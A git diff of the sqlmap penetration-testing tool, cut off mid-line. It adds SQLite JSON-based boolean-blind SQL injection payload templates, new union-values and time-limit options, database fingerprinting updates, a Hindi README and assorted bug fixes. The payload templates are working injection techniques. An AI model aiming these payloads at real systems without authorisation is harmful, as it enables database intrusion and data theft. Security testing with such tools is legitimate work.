diff --git a/README.md b/README.md index 9cc4603d5..772c3d087 100644 --- a/README.md +++ b/README.md @@ -58,8 +58,9 @@ Translations * [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) * [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) * [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md) -* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md) +* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) +* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) @@ -67,10 +68,10 @@ Translations * [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) -* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) +* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md) * [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md) * [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) * [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) -* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md) \ No newline at end of file +* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md) diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml index 67cf9940d..b6d7a2efe 100644 --- a/data/xml/payloads/boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -596,6 +596,45 @@ Tag: Oracle + + + SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) + 1 + 2 + 1 + 1 + 1 + AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + + AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + +
+ SQLite +
+
+ + + SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) + 1 + 3 + 3 + 1 + 2 + OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + + OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + +
+ SQLite +
+
+ diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 300e70975..62e9dc63f 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -207,7 +207,7 @@ - + @@ -228,7 +228,7 @@ - + @@ -261,11 +261,11 @@ - + - + - + - + - + - + - + @@ -302,7 +302,7 @@ - + @@ -606,7 +606,7 @@ - + @@ -621,7 +621,7 @@ - + @@ -631,24 +631,24 @@ - + - + - + - + @@ -656,7 +656,7 @@ - + diff --git a/doc/translations/README-de-GER.md b/doc/translations/README-de-DE.md similarity index 100% rename from doc/translations/README-de-GER.md rename to doc/translations/README-de-DE.md diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md new file mode 100644 index 000000000..623f1c797 --- /dev/null +++ b/doc/translations/README-in-HI.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) + +sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं। + +चित्रसंवाद +---- + +![स्क्रीनशॉट](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +आप [विकि पर](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) कुछ फीचर्स की दिखाते हुए छवियों का संग्रह देख सकते हैं। + +स्थापना +---- + +आप नवीनतम तारबाल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/tarball/master) या नवीनतम ज़िपबॉल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/zipball/master) डाउनलोड कर सकते हैं। + +प्राथमिकत: आप sqlmap को [गिट](https://github.com/sqlmapproject/sqlmap) रिपॉजिटरी क्लोन करके भी डाउनलोड कर सकते हैं: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap [Python](https://www.python.org/download/) संस्करण **2.6**, **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है। + +उपयोग +---- + +मौलिक विकल्पों और स्विच की सूची प्राप्त करने के लिए: + + python sqlmap.py -h + +सभी विकल्पों और स्विच की सूची प्राप्त करने के लिए: + + python sqlmap.py -hh + +आप [यहां](https://asciinema.org/a/46601) एक नमूना चलाने का पता लगा सकते हैं। sqlmap की क्षमताओं की एक अवलोकन प्राप्त करने, समर्थित फीचर्स की सूची और सभी विकल्पों और स्विच का वर्णन, साथ ही उदाहरणों के साथ, आपको [उपयोगकर्ता मैन्युअल](https://github.com/sqlmapproject/sqlmap/wiki/Usage) पर परामर्श दिया जाता है। + +लिंक +---- + +* मुखपृष्ठ: https://sqlmap.org +* डाउनलोड: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) या [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* संवाद आरएसएस फ़ीड: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* समस्या ट्रैकर: https://github.com/sqlmapproject/sqlmap/issues +* उपयोगकर्ता मैन्युअल: https://github.com/sqlmapproject/sqlmap/wiki +* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* ट्विटर: [@sqlmap](https://twitter.com/sqlmap) +* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots +* diff --git a/doc/translations/README-ru-RUS.md b/doc/translations/README-ru-RU.md similarity index 100% rename from doc/translations/README-ru-RUS.md rename to doc/translations/README-ru-RU.md diff --git a/lib/controller/checks.py b/lib/controller/checks.py index b0d5fd6b5..a58a51252 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -217,6 +217,7 @@ def checkSqlInjection(place, parameter, value): if _ > 1: __ = 2 * (_ - 1) + 1 if _ == lower else 2 * _ unionExtended = True + test.request._columns = test.request.columns test.request.columns = re.sub(r"\b%d\b" % _, str(__), test.request.columns) title = re.sub(r"\b%d\b" % _, str(__), title) test.title = re.sub(r"\b%d\b" % _, str(__), test.title) @@ -819,6 +820,9 @@ def checkSqlInjection(place, parameter, value): choice = readInput(msg, default=str(conf.verbose), checkBatch=False) conf.verbose = int(choice) setVerbosity() + if hasattr(test.request, "columns") and hasattr(test.request, "_columns"): + test.request.columns = test.request._columns + delattr(test.request, "_columns") tests.insert(0, test) elif choice == 'N': return None diff --git a/lib/controller/controller.py b/lib/controller/controller.py index e2578bb85..56664d50f 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -557,7 +557,7 @@ def start(): paramKey = (conf.hostname, conf.path, place, parameter) if kb.processUserMarks: - if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): + if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI): if kb.processNonCustom is None: message = "other non-custom parameters found. " message += "Do you want to process them too? [Y/n/q] " @@ -594,7 +594,7 @@ def start(): infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) - elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)): + elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I) or re.search(conf.paramExclude, place, re.I)): testSqlInj = False infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) diff --git a/lib/core/agent.py b/lib/core/agent.py index 26be9b450..d802f4c97 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -45,6 +45,7 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BOUNDED_BASE64_MARKER from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import BOUNDED_INJECTION_MARKER +from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import GENERIC_SQL_COMMENT @@ -185,6 +186,11 @@ class Agent(object): newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\') newValue = self.adjustLateValues(newValue) + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5488 + if kb.customInjectionMark in origValue: + payload = newValue.replace(origValue, "") + newValue = origValue.replace(kb.customInjectionMark, payload) + # TODO: support for POST_HINT newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER) @@ -490,7 +496,7 @@ class Agent(object): if field and Backend.getIdentifiedDbms(): rootQuery = queries[Backend.getIdentifiedDbms()] - if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and getTechnique() in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION) and Backend.getIdentifiedDbms() == DBMS.MSSQL): + if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and Backend.getIdentifiedDbms() == DBMS.MSSQL): nulledCastedField = field else: if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): @@ -885,11 +891,16 @@ class Agent(object): if element > 0: unionQuery += ',' - if element == position: + if conf.uValues: + unionQuery += conf.uValues.split(',')[element] + elif element == position: unionQuery += query else: unionQuery += char + if conf.uValues: + unionQuery = unionQuery.replace(CUSTOM_INJECTION_MARK_CHAR, query) + if fromTable and not unionQuery.endswith(fromTable): unionQuery += fromTable diff --git a/lib/core/common.py b/lib/core/common.py index 06fb47438..5a8c8b3f2 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3186,7 +3186,14 @@ def isNumPosStrValue(value): False """ - return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT + retVal = False + + try: + retVal = ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT + except ValueError: + pass + + return retVal @cachedmethod def aliasToDbmsEnum(dbms): @@ -5083,6 +5090,7 @@ def resetCookieJar(cookieJar): logger.info(infoMsg) content = readCachedFileContent(conf.loadCookies) + content = re.sub("(?im)^#httpOnly_", "", content) lines = filterNone(line.strip() for line in content.split("\n") if not line.startswith('#')) handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR) os.close(handle) diff --git a/lib/core/convert.py b/lib/core/convert.py index c6f86aa1f..6478f98f2 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -16,6 +16,7 @@ import codecs import json import re import sys +import time from lib.core.bigarray import BigArray from lib.core.compat import xrange @@ -334,6 +335,10 @@ def getUnicode(value, encoding=None, noneToNull=False): True """ + # Best position for --time-limit mechanism + if conf.get("timeLimit") and kb.get("startTime") and (time.time() - kb.startTime > conf.timeLimit): + raise SystemExit + if noneToNull and value is None: return NULL diff --git a/lib/core/datatype.py b/lib/core/datatype.py index eadcb9cf7..c044055e8 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -49,6 +49,19 @@ class AttribDict(dict): else: return None + def __delattr__(self, item): + """ + Deletes attributes + """ + + try: + return self.pop(item) + except KeyError: + if self.keycheck: + raise AttributeError("unable to access item '%s'" % item) + else: + return None + def __setattr__(self, item, value): """ Maps attributes to values diff --git a/lib/core/option.py b/lib/core/option.py index 7fc2116df..612b855c8 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -929,7 +929,7 @@ def _setPreprocessFunctions(): else: try: function(_urllib.request.Request("http://localhost")) - except: + except Exception as ex: tbMsg = traceback.format_exc() if conf.debug: @@ -943,8 +943,8 @@ def _setPreprocessFunctions(): errMsg = "function 'preprocess(req)' " errMsg += "in preprocess script '%s' " % script - errMsg += "appears to be invalid " - errMsg += "(Note: find template script at '%s')" % filename + errMsg += "had issues in a test run ('%s'). " % getSafeExString(ex) + errMsg += "You can find a template script at '%s'" % filename raise SqlmapGenericException(errMsg) def _setPostprocessFunctions(): @@ -1801,6 +1801,9 @@ def _cleanupOptions(): conf.dbms = dbms if conf.dbms and ',' not in conf.dbms else None break + if conf.uValues: + conf.uCols = "%d-%d" % (1 + conf.uValues.count(','), 1 + conf.uValues.count(',')) + if conf.testFilter: conf.testFilter = conf.testFilter.strip('*+') conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter) @@ -2168,6 +2171,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.smokeMode = False kb.reduceTests = None kb.sslSuccess = False + kb.startTime = time.time() kb.stickyDBMS = False kb.suppressResumeInfo = False kb.tableFrom = None @@ -2582,6 +2586,10 @@ def _basicOptionValidation(): errMsg = "switch '--text-only' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) + if conf.uValues and conf.uChar: + errMsg = "option '--union-values' is incompatible with option '--union-char'" + raise SqlmapSyntaxException(errMsg) + if conf.base64Parameter and conf.tamper: errMsg = "option '--base64' is incompatible with option '--tamper'" raise SqlmapSyntaxException(errMsg) @@ -2804,6 +2812,11 @@ def _basicOptionValidation(): errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True)) raise SqlmapSyntaxException(errMsg) + if conf.uValues and (not re.search(r"\A['\w\s.,()%s-]+\Z" % CUSTOM_INJECTION_MARK_CHAR, conf.uValues) or conf.uValues.count(CUSTOM_INJECTION_MARK_CHAR) != 1): + errMsg = "option '--union-values' must contain valid UNION column values, along with the injection position " + errMsg += "(e.g. 'NULL,1,%s,NULL')" % CUSTOM_INJECTION_MARK_CHAR + raise SqlmapSyntaxException(errMsg) + if conf.skip and conf.testParameter: if intersect(conf.skip, conf.testParameter): errMsg = "option '--skip' is incompatible with option '-p'" @@ -2830,10 +2843,6 @@ def _basicOptionValidation(): errMsg = "value for option '--time-sec' must be a positive integer" raise SqlmapSyntaxException(errMsg) - if conf.uChar and not re.match(UNION_CHAR_REGEX, conf.uChar): - errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" - raise SqlmapSyntaxException(errMsg) - if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)): errMsg = "option '--crack' should be used as a standalone" raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 71abe3e50..a4e48c095 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -118,6 +118,7 @@ optDict = { "uCols": "string", "uChar": "string", "uFrom": "string", + "uValues": "string", "dnsDomain": "string", "secondUrl": "string", "secondReq": "string", @@ -239,6 +240,7 @@ optDict = { "skipWaf": "boolean", "testFilter": "string", "testSkip": "string", + "timeLimit": "float", "webRoot": "string", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index 15d29fe31..82447cff3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.7.3" +VERSION = "1.7.11.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 480886af2..b39046aaa 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -637,7 +637,7 @@ def _createDumpDir(): if not os.path.isdir(conf.dumpPath): try: os.makedirs(conf.dumpPath) - except OSError as ex: + except Exception as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapdump") warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c121c8fd3..6bf82e68c 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -414,6 +414,9 @@ def cmdLineParser(argv=None): techniques.add_argument("--union-from", dest="uFrom", help="Table to use in FROM part of UNION query SQL injection") + techniques.add_argument("--union-values", dest="uValues", + help="Column values to use for UNION query SQL injection") + techniques.add_argument("--dns-domain", dest="dnsDomain", help="Domain name used for DNS exfiltration attack") @@ -736,6 +739,9 @@ def cmdLineParser(argv=None): general.add_argument("--test-skip", dest="testSkip", help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") + general.add_argument("--time-limit", dest="timeLimit", type=float, + help="Run with a time limit in seconds (e.g. 3600)") + general.add_argument("--web-root", dest="webRoot", help="Web server document root directory (e.g. \"/var/www\")") diff --git a/lib/request/connect.py b/lib/request/connect.py index 4b1a8d6d5..57805c7fa 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -122,6 +122,7 @@ from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import RANDOM_STRING_MARKER from lib.core.settings import REPLACEMENT_MARKER +from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import TEXT_CONTENT_TYPE_REGEX from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING @@ -641,7 +642,7 @@ class Connect(object): responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, "geturl") else url - if hasattr(conn, "redurl"): + if getattr(conn, "redurl", None) is not None: responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl responseHeaders = patchHeaders(responseHeaders) @@ -1029,6 +1030,8 @@ class Connect(object): conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) + if "urlencoded" in contentType: + postUrlEncode = True if payload: delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER) @@ -1069,7 +1072,9 @@ class Connect(object): if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts + payload = payload.replace("&#", SAFE_HEX_MARKER) payload = payload.replace('&', "&").replace('>', ">").replace('<', "<").replace('"', """).replace("'", "'") # Reference: https://stackoverflow.com/a/1091953 + payload = payload.replace(SAFE_HEX_MARKER, "&#") elif kb.postHint == POST_HINT.JSON: payload = escapeJsonValue(payload) elif kb.postHint == POST_HINT.JSON_LIKE: diff --git a/lib/request/inject.py b/lib/request/inject.py index 039ef1be3..2342837b3 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -274,7 +274,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char stopLimit = 1 - elif (not count or int(count) == 0): + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index a305906b2..406ce6b69 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission """ import io +import re import time import types @@ -71,6 +72,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): def http_error_302(self, req, fp, code, msg, headers): start = time.time() content = None + forceRedirect = False redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None try: @@ -111,12 +113,18 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): redurl = _urllib.parse.urljoin(req.get_full_url(), redurl) self._infinite_loop_check(req) - self._ask_redirect_choice(code, redurl, req.get_method()) + if conf.scope: + if not re.search(conf.scope, redurl, re.I): + redurl = None + else: + forceRedirect = True + else: + self._ask_redirect_choice(code, redurl, req.get_method()) except ValueError: redurl = None result = fp - if redurl and kb.choices.redirect == REDIRECTION.YES: + if redurl and (kb.choices.redirect == REDIRECTION.YES or forceRedirect): parseResponse(content, headers) req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 343733dd2..749cef5d8 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -355,7 +355,7 @@ def errorUse(expression, dump=False): stopLimit = 1 - elif (not count or int(count) == 0): + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index c7a3f5948..a9a6358a7 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -133,7 +133,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where= items.append((count, ratio)) if not isNullValue(kb.uChar): - for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")): + value = re.escape(kb.uChar.strip("'")) + for regex in (value, r'>\s*%s\s*<' % value): contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None] if len(contains) == 1: retVal = contains[0] @@ -340,7 +341,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " - if not conf.uChar and count > 1 and kb.uChar == NULL: + if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " if not readInput(message, default='Y', boolean=True): diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index ef550d8da..1ad4ff813 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -308,7 +308,7 @@ def unionUse(expression, unpack=True, dump=False): stopLimit = 1 - elif (not count or int(count) == 0): + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 10cf2dcc9..e9e72bc29 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -181,8 +181,11 @@ class HashDB(object): try: self.cursor.execute("BEGIN TRANSACTION") except: - # Reference: http://stackoverflow.com/a/25245731 - self.cursor.close() + try: + # Reference: http://stackoverflow.com/a/25245731 + self.cursor.close() + except sqlite3.ProgrammingError: + pass threadData.hashDBCursor = None self.cursor.execute("BEGIN TRANSACTION") finally: diff --git a/lib/utils/search.py b/lib/utils/search.py index 5ae11a10c..4e9d4abc1 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -106,7 +106,7 @@ def _search(dork): page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) - page = getUnicode(page) # Note: if upper function call fails (Issue #4202) + page = getUnicode(page) # Note: if decodePage call fails (Issue #4202) retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)] @@ -171,6 +171,8 @@ def _search(dork): errMsg = "unable to connect" raise SqlmapConnectionException(errMsg) + page = getUnicode(page) # Note: if decodePage call fails (Issue #4202) + retVal = [_urllib.parse.unquote(match.group(1).replace("&", "&")) for match in re.finditer(regex, page, re.I | re.S)] if not retVal and "issue with the Tor Exit Node you are currently using" in page: diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index abdb94fd7..042bcf5a0 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -45,9 +45,10 @@ class Fingerprint(GenericFingerprint): # Reference: https://dev.mysql.com/doc/relnotes/mysql/./en/ versions = ( - (80000, 80033), # MySQL 8.0 + (80100, 80102), # MySQL 8.1 + (80000, 80035), # MySQL 8.0 (60000, 60014), # MySQL 6.0 - (50700, 50742), # MySQL 5.7 + (50700, 50744), # MySQL 5.7 (50600, 50652), # MySQL 5.6 (50500, 50563), # MySQL 5.5 (50400, 50404), # MySQL 5.4 diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 370d45408..784460aaf 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -105,7 +105,7 @@ class Fingerprint(GenericFingerprint): logger.info(infoMsg) # Reference: https://en.wikipedia.org/wiki/Oracle_Database - for version in ("21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): + for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): number = int(re.search(r"([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index e72a38bd7..979d9ff5b 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -131,7 +131,9 @@ class Fingerprint(GenericFingerprint): infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) - if inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"): + if inject.checkBooleanExpression("RANDOM_NORMAL(0.0, 1.0) IS NOT NULL"): + Backend.setVersion(">= 16.0") + elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"): Backend.setVersion(">= 15.0") elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"): Backend.setVersion(">= 14.0") diff --git a/sqlmap.conf b/sqlmap.conf index 3e4cbd6e8..e0fbfc3c7 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -412,6 +412,11 @@ uChar = # Example: INFORMATION_SCHEMA.COLLATIONS uFrom = +# Column values to use for UNION query SQL injection. +# Valid: string +# Example: NULL,1,*,NULL +uValues = + # Domain name used for DNS exfiltration attack. # Valid: string dnsDomain = @@ -818,12 +823,15 @@ skipWaf = False # Default: sqlmap tablePrefix = sqlmap -# Select tests by payloads and/or titles (e.g. ROW) +# Select tests by payloads and/or titles (e.g. ROW). testFilter = -# Skip tests by payloads and/or titles (e.g. BENCHMARK) +# Skip tests by payloads and/or titles (e.g. BENCHMARK). testSkip = +# Run with a time limit in seconds (e.g. 3600). +timeLimit = + # Web server document root directory (e.g. "/var/www"). webRoot = diff --git a/tamper/if2case.py b/tamper/if2case.py index 9e82459fa..533e1e210 100644 --- a/tamper/if2case.py +++ b/tamper/if2case.py @@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission from lib.core.compat import xrange from lib.core.enums import PRIORITY +from lib.core.settings import REPLACEMENT_MARKER __priority__ = PRIORITY.HIGHEST @@ -36,6 +37,7 @@ def tamper(payload, **kwargs): """ if payload and payload.find("IF") > -1: + payload = payload.replace("()", REPLACEMENT_MARKER) while payload.find("IF(") > -1: index = payload.find("IF(") depth = 1 @@ -64,4 +66,6 @@ def tamper(payload, **kwargs): else: break + payload = 